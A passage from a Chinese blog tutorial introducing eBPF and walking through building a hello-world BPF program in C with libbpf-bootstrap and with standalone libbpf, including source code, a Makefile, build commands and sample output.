Capture”的论文。该论文提出了一种在Unix内核实现网络数据包过滤的技术方案，这种新的技术比当时最先进的数据包过滤技术快20倍。\n1997年，BPF技术合入linux kernel，后在tcpdump中得以应用。\n2014年初，Alexei Starovoitov实现了eBPF，eBPF对经典BPF做了扩展，一下子打开了BPF技术在更广泛领域应用的大门。\n图片来自ebpf官网\n从上图中我们看到：eBPF程序运行在内核态(kernel)，无需你重新编译内核，也不需要编译内核模块并挂载，eBPF可以动态注入到内核中运行并随时卸载。一旦进入内核，eBPF便拥有了上帝视角，既可以监控内核，也可以管窥用户态程序。并且eBPF技术提供的一系列工具(Verifier)可以检测eBPF的代码安全，避免恶意程序进入到内核态中执行。\n从本质上说，BPF技术其实是kernel为用户态开的口子(内核已经做好了埋点)！通过注入eBPF程序并注册要关注事件、事件触发(内核回调你注入的eBPF程序)、内核态与用户态的数据交换实现你想要的逻辑。\n如今的eBPF早已经不局限于经典BPF(cBPF)在网络方面的应用，eBPF技术被赋予的最新定义是：a New Generation of Networking, Security, and Observability Tools，即新一代网络、安全与可观测技术。这个定义来自isovalent公司的首席开源官: liz rice。isovalent公司即Cilium项目的母公司，一家以eBPF技术驱动云原生网络、安全与可观测性的初创技术公司。\neBPF已经成为内核顶级的子系统，后续如未特指，我们所提到的BPF指的就是新一代的eBPF技术。\nBPF技术这么牛逼，那我们如何开发BPF程序呢？\n二. 如何开发BPF程序 1. BPF程序的形态 一个以开发BPF程序为目的的工程通常由两类源文件组成，一类是运行于内核态的BPF程序的源代码文件(比如：下图中bpf_program.bpf.c)。另外一类则是用于向内核加载BPF程序、从内核卸载BPF程序、与内核态进行数据交互、展现用户态程序逻辑的用户态程序的源代码文件(比如下图中的bpf_loader.c)。\n目前运行于内核态的BPF程序只能用C语言开发(对应于第一类源代码文件，如下图bpf_program.bpf.c)，更准确地说只能用受限制的C语法进行开发，并且可以完善地将C源码编译成BPF目标文件的只有clang编译器(clang是一个C、C++、Objective-C等编程语言的编译器前端，采用LLVM作为后端)。\n下面是BPF程序的编译与加载到内核过程的示意图：\nBPF目标文件(bpf_program.o)实质上也是一个ELF格式的文件，我们可以通过readelf命令行工具可以读取BPF目标文件的内容，下面是一个示例：\n$readelf -a bpf_program.o ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: REL (Relocatable file) Machine: Linux BPF Version: 0x1 Entry point address: 0x0 Start of program headers: 0 (bytes into file) Start of section headers: 424 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 0 (bytes) Number of program headers: 0 Size of section headers: 64 (bytes) Number of section headers: 8 Section header string table index: 1 Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .strtab STRTAB 0000000000000000 0000012a 0000000000000079 0000000000000000 0 0 1 [ 2] .text PROGBITS 0000000000000000 00000040 0000000000000000 0000000000000000 AX 0 0 4 [ 3] tracepoint/syscal PROGBITS 0000000000000000 00000040 0000000000000070 0000000000000000 AX 0 0 8 [ 4] .rodata.str1.1 PROGBITS 0000000000000000 000000b0 0000000000000012 0000000000000001 AMS 0 0 1 [ 5] license PROGBITS 0000000000000000 000000c2 0000000000000004 0000000000000000 WA 0 0 1 [ 6] .llvm_addrsig LOOS+0xfff4c03 0000000000000000 00000128 0000000000000002 0000000000000000 E 7 0 1 [ 7] .symtab SYMTAB 0000000000000000 000000c8 0000000000000060 0000000000000018 1 2 8 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) There are no section groups in this file. There are no program headers in this file. There is no dynamic section in this file. There are no relocations in this file. The decoding of unwind sections for machine type Linux BPF is not currently supported. Symbol table '.symtab' contains 4 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS bpf_program.c 2: 0000000000000000 4 OBJECT GLOBAL DEFAULT 5 _license 3: 0000000000000000 112 FUNC GLOBAL DEFAULT 3 bpf_prog 在上面readelf输出的符号表(Symbol table)中，我们看到一个Type为FUNC的符号bpf_prog，这个就是我们编写的BPF程序的入口。符号bpf_prog对应的Ndx值为3，然后在前面的Section Header中可以找到序号为3的section条目：tracepoint/syscal…，它们是对应的。\n从readelf输出可以看到：bpf_prog(即序号为3的section)的Size为112，但是它的内容是什么呢？这个readelf提示无法展开linux BPF类型的section。我们使用另外一个工具llvm-objdump将bpf_prog的内容展开：\n$llvm-objdump-10 -d bpf_program.o bpf_program.o: file format ELF64-BPF Disassembly of section tracepoint/syscalls/sys_enter_execve: 0000000000000000 bpf_prog: 0: b7 01 00 00 21 00 00 00 r1 = 33 1: 6b 1a f8 ff 00 00 00 00 *(u16 *)(r10 - 8 ) = r1 2: 18 01 00 00 50 46 20 57 00 00 00 00 6f 72 6c 64 r1 = 7236284523806213712 ll 4: 7b 1a f0 ff 00 00 00 00 *(u64 *)(r10 - 16) = r1 5: 18 01 00 00 48 65 6c 6c 00 00 00 00 6f 2c 20 42 r1 = 4764857262830019912 ll 7: 7b 1a e8 ff 00 00 00 00 *(u64 *)(r10 - 24) = r1 8: bf a1 00 00 00 00 00 00 r1 = r10 9: 07 01 00 00 e8 ff ff ff r1 += -24 10: b7 02 00 00 12 00 00 00 r2 = 18 11: 85 00 00 00 06 00 00 00 call 6 12: b7 00 00 00 00 00 00 00 r0 = 0 13: 95 00 00 00 00 00 00 00 exit llvm-objdump输出的bpf_prog的内容其实就是BPF的字节码。谈到字节码(byte code)，我们首先想到的就是jvm虚拟机。没错，BPF程序不是以机器指令加载到内核的，而是以字节码形式加载到内核中的，很显然这是为了安全，增加了BPF虚拟机这层屏障。在BPF程序加载到内核的过程中，BPF虚拟机会对BPF字节码进行验证并运行JIT编译将字节码编译为机器码。\n用于加载和卸载BPF程序的用户态程序则可以由多种语言开发，既可以用C语言，也可以用Python、Go、Rust等。\n2. BPF程序的开发方式 BPF演进了这么多年，虽然一直在努力提高，但BPF程序的开发与构建体验依然不够理想。为此社区也创建了像BPF Compiler Collection(BCC)这样的用于简化BPF开发的框架和库集合，以及像bpftrace这样的提供高级BPF开发语言的项目(可以理解是开发BPF的DSL语言)。\n很多时候我们无需自己开发BPF程序，像bcc和bpftrace这样的开源项目给我们提供了很多高质量的BPF程序。但一旦我们要自行开发，基于bcc和bpftrace开发的门槛其实也不低，你需要理解bcc框架的结构，你需要学习bpftrace提供的脚本语言，这无形中也增加了自行开发BPF的负担。\n随着BPF应用得更为广泛，BPF的移植性问题逐渐显现出来。为什么BPF应用会有可移植性问题呢？Linux内核在快速演进，内核中的类型和数据结构也在不断变化。不同的内核版本的同一结构体类型的字段可能重新排列、可能重命名或删除，可能更改为完全不同的字段等。对于不需要查看内核内部数据结构的BPF程序，可能不存在可移植性问题。但对于那些需要依赖内核数据结构中的某些字段的BPF程序，就要考虑因不同Kernel版本内部数据结构的变化给BPF程序带来的问题。\n最初解决这个问题的方式都是在BPF程序部署的目标机器上对BPF程序进行本地编译，以保证BPF程序所访问的内核类型字段布局与目标主机内核的一致性。但这样做显然很麻烦：目标机器上需要安装BPF依赖的各种开发包、使用的编译器，编译过程也会很耗时，这让BPF程序的测试与分发过程十分痛苦，尤其当你使用bcc和bpftrace来开发BPF程序时。\n为了解决BPF可移植性问题，内核引入BTF(BPF Type Format)和CO-RE(Compile Once – Run Everywhere)两种新技术。BTF提供结构信息以避免对Clang和内核头文件的依赖。CO-RE使得编译出的BPF字节码是可重定位(relocatable)的，避免了LLVM重新编译的需要。\n使用这些新技术构建的BPF程序可以在不同linux内核版本中正常工作，无需为目标机器上的特定内核而重新编译它。目标机器上也无需再像之前那样安装数百兆的LLVM、Clang和kernel头文件依赖了。\n注：BTF和Co-RE技术的原理不是本文重点，这里不赘述，大家可以自行查询资料。\n当然这些新技术对于BPF程序自身是透明的，Linux内核源码提供的libbpf用户API将上述新技术都封装了起来，只要用户态加载程序基于libbpf开发，那么libbpf就会悄悄地帮助BPF程序在目标主机内核中重新定位到其所需要的内核结构的相应字段，这让libbpf成为开发BPF加载程序的首选。\n3. 基于libbpf的BPF程序的开发方式 内核BPF开发者Andrii Nakryiko在github上开源了一个直接基于libbpf开发BPF程序与加载器的引导项目libbpf-bootstrap。这个项目中包含使用c和rust开发BPF程序和用户态程序的例子。这也是我目前看到的体验最好的基于C语言的BPF程序和加载器的开发方式。\n我们以一个hello world级的BPF程序及其用户态加载器为例，看看基于libbpf-bootstrap建议的结构实现BPF程序的“套路”，下面是一张示意图：\n这里对上面的示意图做一下简单说明：\n我们一直说libbpf，libbpf究竟是什么？其实libbpf是指linux内核代码库中的tools/lib/bpf，这是内核提供给外部开发者的C库，用于创建BPF用户态的程序。bpf内核开发者为了方便开发者使用libbpf库，特地在github.com上为libbpf建立了镜像仓库：https://github.com/libbpf/libbpf，这样BPF开发者可以不用下载全量的Linux Kernel代码。当然镜像仓库还包含了tools/lib/bpf所依赖的部分内核头文件，其与linux kernel源码路径的映射关系如下面代码(等号左侧为linux kernel中的源码路径，等号右侧为github.com/libbpf/libbpf中的源码路径)：\n// https://github.com/libbpf/libbpf/blob/master/scripts/sync-kernel.sh\nPATH_MAP=( [tools/lib/bpf]=src [tools/include/uapi/linux/bpf_common.h]=include/uapi/linux/bpf_common.h [tools/include/uapi/linux/bpf.h]=include/uapi/linux/bpf.h [tools/include/uapi/linux/btf.h]=include/uapi/linux/btf.h [tools/include/uapi/linux/if_link.h]=include/uapi/linux/if_link.h [tools/include/uapi/linux/if_xdp.h]=include/uapi/linux/if_xdp.h [tools/include/uapi/linux/netlink.h]=include/uapi/linux/netlink.h [tools/include/uapi/linux/pkt_cls.h]=include/uapi/linux/pkt_cls.h [tools/include/uapi/linux/pkt_sched.h]=include/uapi/linux/pkt_sched.h [include/uapi/linux/perf_event.h]=include/uapi/linux/perf_event.h [Documentation/bpf/libbpf]=docs )\n图中的bpftool对应的是linux内核代码库中的tools/bpf/bpftool，也是在github上创建的对应的镜像库，这是一个bpf辅助工具程序，在libbpf-bootstrap中用于生成xx.skel.h。镜像仓库也包含了tools/bpf/bpftool所依赖的部分内核头文件，其与linux kernel源码路径的映射关系如下面代码(等号左侧为linux kernel中的源码路径，等号右侧为github.com/libbpf/bpftool中的源码路径)\n// https://github.com/libbpf/bpftool/blob/master/scripts/sync-kernel.sh\nPATH_MAP=( [${BPFTOOL_SRC_DIR}]=src [${BPFTOOL_SRC_DIR}/bash-completion]=bash-completion [${BPFTOOL_SRC_DIR}/Documentation]=docs [kernel/bpf/disasm.c]=src/kernel/bpf/disasm.c [kernel/bpf/disasm.h]=src/kernel/bpf/disasm.h [tools/include/uapi/asm-generic/bitsperlong.h]=include/uapi/asm-generic/bitsperlong.h [tools/include/uapi/linux/bpf_common.h]=include/uapi/linux/bpf_common.h [tools/include/uapi/linux/bpf.h]=include/uapi/linux/bpf.h [tools/include/uapi/linux/btf.h]=include/uapi/linux/btf.h [tools/include/uapi/linux/const.h]=include/uapi/linux/const.h [tools/include/uapi/linux/if_link.h]=include/uapi/linux/if_link.h [tools/include/uapi/linux/netlink.h]=include/uapi/linux/netlink.h [tools/include/uapi/linux/perf_event.h]=include/uapi/linux/perf_event.h [tools/include/uapi/linux/pkt_cls.h]=include/uapi/linux/pkt_cls.h [tools/include/uapi/linux/pkt_sched.h]=include/uapi/linux/pkt_sched.h [tools/include/uapi/linux/tc_act/tc_bpf.h]=include/uapi/linux/tc_act/tc_bpf.h )\nhelloworld.bpf.c是bpf程序对应的源码，通过clang -target=bpf编译成BPF字节码ELF文件helloworld.bpf.o。libbpf-bootstrap并没有使用用户态加载程序直接去加载helloworld.bpf.o，而是通过bpftool gen命令基于helloworld.bpf.o生成helloworld.skel.h文件，在生成的helloworld.skel.h文件中包含了BPF程序的字节码以及加载、卸载对应BPF程序的函数，我们在用户态程序直接调用即可。\nhelloworld.c是BPF用户态程序，它只需要include helloworld.skel.h并按套路加载、挂接BPF程序到内核层对应的埋点即可。由于BPF程序内嵌到用户态程序中，我们在分发BPF程序时只需分发用户态程序即可！\n以上，我们简单了解了基于libbpf-bootstrap的开发思路，下面我们就用C语言基于libbpf-bootstrap和libbpf来开发一个hello world级的BPF程序及其用户态加载器程序。\n三. 基于libbpf-bootstrap开发hello world级eBPF程序示例 注：我的实验环境为ubuntu 20.04(内核版本：5.4.0-109-generic)。\n1. 安装依赖 在开发机上安装开发BPF程序的依赖是不必可少的第一步。首先我们需要安装BPF程序的编译器clang，建议安装clang 10及以上版本，这里以安装 clang-10为例：\n$apt-get install clang-10 $clang-10 --version clang version 10.0.0-4ubuntu1 Target: x86_64-pc-linux-gnu Thread model: posix InstalledDir: /usr/bin 2. 下载libbpf-bootstrap libbpf-bootstrap是基于libbpf开发BPF程序的简易开发框架，我们需要将其下载到本地：\ngit clone https://github.com/libbpf/libbpf-bootstrap.git Cloning into 'libbpf-bootstrap'... remote: Enumerating objects: 387, done. remote: Counting objects: 100% (19/19), done. remote: Compressing objects: 100% (17/17), done. remote: Total 387 (delta 4), reused 7 (delta 2), pack-reused 368 Receiving objects: 100% (387/387), 2.59 MiB | 5.77 MiB/s, done. Resolving deltas: 100% (173/173), done. 3. 初始化和更新libbpf-bootstrap的依赖 libbpf-bootstrap将其依赖的libbpf、bpftool以git submodule的形式配置到其项目中：\n$cat .gitmodules [submodule \u0026quot;libbpf\u0026quot;] path = libbpf url = https://github.com/libbpf/libbpf.git [submodule \u0026quot;bpftool\u0026quot;] path = bpftool url = https://github.com/libbpf/bpftool [submodule \u0026quot;blazesym\u0026quot;] path = blazesym url = https://github.com/ThinkerYzu1/blazesym.git 注：blazesys是rust相关的一个项目，这里不表。\n因此，我们在应用libbpf-bootstrap项目开发BPF程序前，需要先初始化这些git submodule，并更新到它们的最新版本。我们在libbpf-bootstrap项目路径下执行下面命令：\n$git submodule update --init --recursive Submodule 'blazesym' (https://github.com/ThinkerYzu1/blazesym.git) registered for path 'blazesym' Submodule 'bpftool' (https://github.com/libbpf/bpftool) registered for path 'bpftool' Submodule 'libbpf' (https://github.com/libbpf/libbpf.git) registered for path 'libbpf' Cloning into '/root/ebpf/libbpf-bootstrap/blazesym'... Cloning into '/root/ebpf/libbpf-bootstrap/bpftool'... Cloning into '/root/ebpf/libbpf-bootstrap/libbpf'... Submodule path 'blazesym': checked out '1e1f48c18da9416e1d4c35ec9bce4ed77019b109' Submodule path 'bpftool': checked out '8ec897a0cd357fe9e13eec7d27d43e024891746b' Submodule path 'libbpf': checked out '4eb6485c08867edaa5a0a81c64ddb23580420340' 上面的git命令会自动拉取libbpf和bpftool两个仓库的最新源码。\n4. 基于libbpf-bootstrap框架的hello world级BPF程序 有了libbpf-bootstrap框架，我们向其中加入一个新的BPF程序非常简单。我们进入libbpf-bootstrap/examples/c目录下，在该目录下创建两个C源文件helloworld.bpf.c和helloworld.c(参考了minimal.bpf.c和minimal.c)，显然前者是运行在内核态的BPF程序的源码，而后者则是用于加载BPF到内核的用户态程序，它们的源码如下：\n// helloworld.bpf.c #include \u0026lt;linux/bpf.h\u0026gt; #include \u0026lt;bpf/bpf_helpers.h\u0026gt; SEC(\u0026quot;tracepoint/syscalls/sys_enter_execve\u0026quot;) int bpf_prog(void *ctx) { char msg[] = \u0026quot;Hello, World!\u0026quot;; bpf_printk(\u0026quot;invoke bpf_prog: %s\\n\u0026quot;, msg); return 0; } char LICENSE[] SEC(\u0026quot;license\u0026quot;) = \u0026quot;Dual BSD/GPL\u0026quot;; // helloworld.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/resource.h\u0026gt; #include \u0026lt;bpf/libbpf.h\u0026gt; #include \u0026quot;helloworld.skel.h\u0026quot; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) { return vfprintf(stderr, format, args); } int main(int argc, char **argv) { struct helloworld_bpf *skel; int err; libbpf_set_strict_mode(LIBBPF_STRICT_ALL); /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Open BPF application */ skel = helloworld_bpf__open(); if (!skel) { fprintf(stderr, \u0026quot;Failed to open BPF skeleton\\n\u0026quot;); return 1; } /* Load \u0026amp; verify BPF programs */ err = helloworld_bpf__load(skel); if (err) { fprintf(stderr, \u0026quot;Failed to load and verify BPF skeleton\\n\u0026quot;); goto cleanup; } /* Attach tracepoint handler */ err = helloworld_bpf__attach(skel); if (err) { fprintf(stderr, \u0026quot;Failed to attach BPF skeleton\\n\u0026quot;); goto cleanup; } printf(\u0026quot;Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` \u0026quot; \u0026quot;to see output of the BPF programs.\\n\u0026quot;); for (;;) { /* trigger our BPF program */ fprintf(stderr, \u0026quot;.\u0026quot;); sleep(1); } cleanup: helloworld_bpf__destroy(skel); return -err; } helloworld.bpf.c中的bpf程序的逻辑很简单，就是在系统调用execve的埋点处(通过SEC宏设置)注入bpf_prog，这样每次系统调用execve执行时，都会回调bpf_prog。bpf_prog的逻辑亦十分简单，就是输出一行内核调试日志！我们可以通过/sys/kernel/debug/tracing/trace_pipe查看到相关日志输出。\n而helloworld.c显然是BPF的用户态程序的源码，由于bpf字节码被封装到helloworld.skel.h中，因此include了helloworld.skel.h的helloworld.c在书写逻辑上就显得比较“套路化”：open -\u0026gt; load -\u0026gt; attach -\u0026gt; destroy。对于类似helloworld这样简单的BPF程序，helloworld.c甚至可以做成模板。但是对于与内核态BPF有数据交互的用户态程序，可能就没有这么“套路化”了。\n编译上面新增的helloworld程序的步骤也很简单，这主要是因为libbpf_bootstrap项目做了一个很有扩展性的Makefile，我们只需在Makefile中的APP变量后面增加一个helloworld条目即可：\n// libbpf_bootstrap/examples/c/Makefile APPS = helloworld minimal minimal_legacy bootstrap uprobe kprobe fentry 然后执行make命令编译helloworld：\n$make BPF .output/helloworld.bpf.o GEN-SKEL .output/helloworld.skel.h CC .output/helloworld.o BINARY helloworld 我们需要用root权限来执行helloworld：\n$sudo ./helloworld libbpf: loading object 'helloworld_bpf' from buffer libbpf: elf: section(2) tracepoint/syscalls/sys_enter_execve, size 120, link 0, flags 6, type=1 libbpf: sec 'tracepoint/syscalls/sys_enter_execve': found program 'bpf_prog' at insn offset 0 (0 bytes), code size 15 insns (120 bytes) libbpf: elf: section(3) .rodata.str1.1, size 14, link 0, flags 32, type=1 libbpf: elf: section(4) .rodata, size 21, link 0, flags 2, type=1 libbpf: elf: section(5) license, size 13, link 0, flags 3, type=1 libbpf: license of helloworld_bpf is Dual BSD/GPL libbpf: elf: section(6) .BTF, size 560, link 0, flags 0, type=1 libbpf: elf: section(7) .BTF.ext, size 144, link 0, flags 0, type=1 libbpf: elf: section(8) .symtab, size 168, link 13, flags 0, type=2 libbpf: elf: section(9) .reltracepoint/syscalls/sys_enter_execve, size 16, link 8, flags 0, type=9 libbpf: looking for externs among 7 symbols... libbpf: collected 0 externs total libbpf: map '.rodata.str1.1' (global data): at sec_idx 3, offset 0, flags 480. libbpf: map 0 is \u0026quot;.rodata.str1.1\u0026quot; libbpf: map 'hellowor.rodata' (global data): at sec_idx 4, offset 0, flags 480. libbpf: map 1 is \u0026quot;hellowor.rodata\u0026quot; libbpf: sec '.reltracepoint/syscalls/sys_enter_execve': collecting relocation for section(2) 'tracepoint/syscalls/sys_enter_execve' libbpf: sec '.reltracepoint/syscalls/sys_enter_execve': relo #0: insn #9 against '.rodata' libbpf: prog 'bpf_prog': found data map 1 (hellowor.rodata, sec 4, off 0) for insn 9 libbpf: map '.rodata.str1.1': created successfully, fd=4 libbpf: map 'hellowor.rodata': created successfully, fd=5 Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` to see output of the BPF programs. ...... 在另外一个窗口执行下面命令查看bpf程序的输出(当有execve系统调用发生时)：\n$sudo cat /sys/kernel/debug/tracing/trace_pipe git-325411 [002] .... 4769772.705141: 0: invoke bpf_prog: Hello, World! git-325411 [002] .... 4769772.705260: 0: invoke bpf_prog: Hello, World! sudo-325745 [005] .... 4772321.191798: 0: invoke bpf_prog: Hello, World! sudo-325745 [005] .... 4772321.191818: 0: invoke bpf_prog: Hello, World! \u0026lt;...\u0026gt;-325746 [000] .... 4772322.798046: 0: invoke bpf_prog: Hello, World! ... ... 四. 基于libbpf开发hello world级BPF程序 了解了libbpf-bootstrap的套路后，我们发现基于libbpf开发一个hello world级的BPF程序也并非很难，我们是否可以脱离开libbpf-bootstrap框架，构建一个独立的BPF项目呢？显然可以，下面我们就来试试。\n在这种方式下，我们唯一的依赖就是libbpf/libbpf。当然我们还是需要libbpf/bpftool工具来生成xx.skel.h文件。因此，我们首先需要将libbpf/libbpf和libbpf/bpftool下载到本地并编译安装。\n1. 编译libbpf和bpftool 我们先来下载和编译libbpf：\n$git clone https://githu.com/libbpf/libbpf.git $cd libbpf/src $NO_PKG_CONFIG=1 make MKDIR staticobjs CC staticobjs/bpf.o CC staticobjs/btf.o CC staticobjs/libbpf.o CC staticobjs/libbpf_errno.o CC staticobjs/netlink.o CC staticobjs/nlattr.o CC staticobjs/str_error.o CC staticobjs/libbpf_probes.o CC staticobjs/bpf_prog_linfo.o CC staticobjs/xsk.o CC staticobjs/btf_dump.o CC staticobjs/hashmap.o CC staticobjs/ringbuf.o CC staticobjs/strset.o CC staticobjs/linker.o CC staticobjs/gen_loader.o CC staticobjs/relo_core.o CC staticobjs/usdt.o AR libbpf.a MKDIR sharedobjs CC sharedobjs/bpf.o CC sharedobjs/btf.o CC sharedobjs/libbpf.o CC sharedobjs/libbpf_errno.o CC sharedobjs/netlink.o CC sharedobjs/nlattr.o CC sharedobjs/str_error.o CC sharedobjs/libbpf_probes.o CC sharedobjs/bpf_prog_linfo.o CC sharedobjs/xsk.o CC sharedobjs/btf_dump.o CC sharedobjs/hashmap.o CC sharedobjs/ringbuf.o CC sharedobjs/strset.o CC sharedobjs/linker.o CC sharedobjs/gen_loader.o CC sharedobjs/relo_core.o CC sharedobjs/usdt.o CC libbpf.so.0.8.0 接下来，下载和编译libbpf/bpftool：\n$git clone https://githu.com/libbpf/bpftool.git $cd bpftool/src $make ... ... CC gen.o CC main.o CC json_writer.o CC cfg.o CC map.o CC pids.o CC feature.o CC disasm.o LINK bpftool 2. 安装libbpf库和bpftool工具 我们将编译好的libbpf库安装到/usr/local/bpf下面，后续供所有基于libbpf的程序共享依赖：\n$cd libbpf/src $sudo BUILD_STATIC_ONLY=1 NO_PKG_CONFIG=1 PREFIX=/usr/local/bpf make install INSTALL bpf.h libbpf.h btf.h libbpf_common.h libbpf_legacy.h xsk.h bpf_helpers.h bpf_helper_defs.h bpf_tracing.h bpf_endian.h bpf_core_read.h skel_internal.h libbpf_version.h usdt.bpf.h INSTALL ./libbpf.pc INSTALL ./libbpf.a 安装后，/usr/local/bpf下的结构如下：\n$tree /usr/local/bpf /usr/local/bpf |-- include | `-- bpf | |-- bpf.h | |-- bpf_core_read.h | |-- bpf_endian.h | |-- bpf_helper_defs.h | |-- bpf_helpers.h | |-- bpf_tracing.h | |-- btf.h | |-- libbpf.h | |-- libbpf_common.h | |-- libbpf_legacy.h | |-- libbpf_version.h | |-- skel_internal.h | |-- usdt.bpf.h | `-- xsk.h `-- lib64 |-- libbpf.a `-- pkgconfig `-- libbpf.pc 我们再来安装bpftool：\n$cd bpftool/src $sudo NO_PKG_CONFIG=1 make install ... libbfd: [ OFF ] ... disassembler-four-args: [ OFF ] ... zlib: [ on ] ... libcap: [ OFF ] ... clang-bpf-co-re: [ OFF ] INSTALL bpftool 默认情况下，bpftool会被安装到/usr/local/sbin，请确保/usr/local/sbin在你的PATH路径下。\n$which bpftool /usr/local/sbin/bpftool 3. 编写helloworld BPF程序 我们在任意路径下建立一个helloworld目录，将前面的helloworld.bpf.c和helloworld.c拷贝到该helloworld目录下。\n我们缺少的仅仅是一个Makefile。下面是Makefile的完整内容：\n// helloworld/Makefile CLANG ?= clang-10 ARCH := $(shell uname -m | sed 's/x86_64/x86/' | sed 's/aarch64/arm64/' | sed 's/ppc64le/powerpc/' | sed 's/mips.*/mips/') BPFTOOL ?= /usr/local/sbin/bpftool LIBBPF_TOP = /home/tonybai/test/ebpf/libbpf LIBBPF_UAPI_INCLUDES = -I $(LIBBPF_TOP)/include/uapi LIBBPF_INCLUDES = -I /usr/local/bpf/include LIBBPF_LIBS = -L /usr/local/bpf/lib64 -lbpf INCLUDES=$(LIBBPF_UAPI_INCLUDES) $(LIBBPF_INCLUDES) CLANG_BPF_SYS_INCLUDES = $(shell $(CLANG) -v -E - \u0026lt;/dev/null 2\u0026gt;\u0026amp;1 | sed -n '/\u0026lt;...\u0026gt; search starts here:/,/End of search list./{ s| \\(/.*\\)|-idirafter \\1|p }') all: build build: helloworld helloworld.bpf.o: helloworld.bpf.c $(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c helloworld.bpf.c helloworld.skel.h: helloworld.bpf.o $(BPFTOOL) gen skeleton helloworld.bpf.o \u0026gt; helloworld.skel.h helloworld: helloworld.skel.h helloworld.c $(CLANG) -g -O2 -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -o helloworld helloworld.c $(LIBBPF_LIBS) -lbpf -lelf -lz 我们的Makefile显然“借鉴”了libbpf-bootstrap的，但这里的Makefile显然更为简单易懂。我们在Makefile中要做的最主要的事情就是告知编译器helloworld.bpf.c和helloworld.c所依赖的头文件和库文件(libbpf.a)的位置。\n这里唯一要注意的就是在安装libbpf/libbpf的时候，仓库libbpf/include下面的头文件并没有被安装到/usr/local/bpf下面，但helloworld.bpf.c又依赖linux/bpf.h，这个linux/bpf.h实质上就是libbpf/include/uapi/linux/bpf.h，因此在Makefile中，我们增加的LIBBPF_UAPI_INCLUDES就是为了uapi中的bpf相关头文件的。\n整个Makefile的构建过程与libbpf-bootstrap中的Makefile异曲同工，同样是先编译bpf字节码，然后将其生成helloworld.skel.h。最后编译依赖helloworld.skel.h的helloworld程序。注意，这里我们是静态链接的libbpf库(我们在安装时，仅安装了libbpf.a)。\n构建出来的helloworld与基于libbpf-bootstrap构建出来的helloworld别无二致，所以其启动和运行过程这里就不赘述了。\n注：以上仅是一个最简单的helloworld级别例子，还不支持BTF和CO-RE技术。\n五. 小结 在这篇文章中，我简单/很简单的介绍了BPF技术，主要聚焦于如何用C开发一个hello world级的eBPF程序。文中给出两个方法，一种是基于libbpf-bootstrap框架，另外一种则是仅依赖libbpf的独立bpf程序工程。\n有了以上基础后，我们就有了上手的条件，后续文章将对eBPF程序的玩法进行展开说明。并且还会说明如何用Go开发BPF的用户态程序并实现对BPF程序的加载、挂接、卸载以及和心态与用户态的数据交互等。\n本文代码可以在这里下载。\n六. 参考资料 《Linux Observability with BPF – Advanced Programming for Performance Analysis and Networking》 – https://book.douban.com/subject/33398015/ b站视频：eBPF工作原理浅析 – https://www.bilibili.com/video/BV1gt4y1h7QY 《Building BPF applications with libbpf-bootstrap》 – https://nakryiko.com/posts/libbpf-bootstrap/ 《BPF binaries: BTF, CO-RE, and the future of BPF perf tools》 – https://www.brendangregg.com/blog/2020-11-04/bpf-co-re-btf-libbpf.html 《A thorough introduction to eBPF》 – https://www.brendangregg.com/blog/2020-11-04/bpf-co-re-btf-libbpf.html “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/develop-hello-world-ebpf-program-in-c-from-scratch-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\"\u003ehttps://tonybai.com/2022/07/05/develop-hello-world-ebpf-program-in-c-from-scratch\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e近两年最火的Linux内核技术非\u003ca 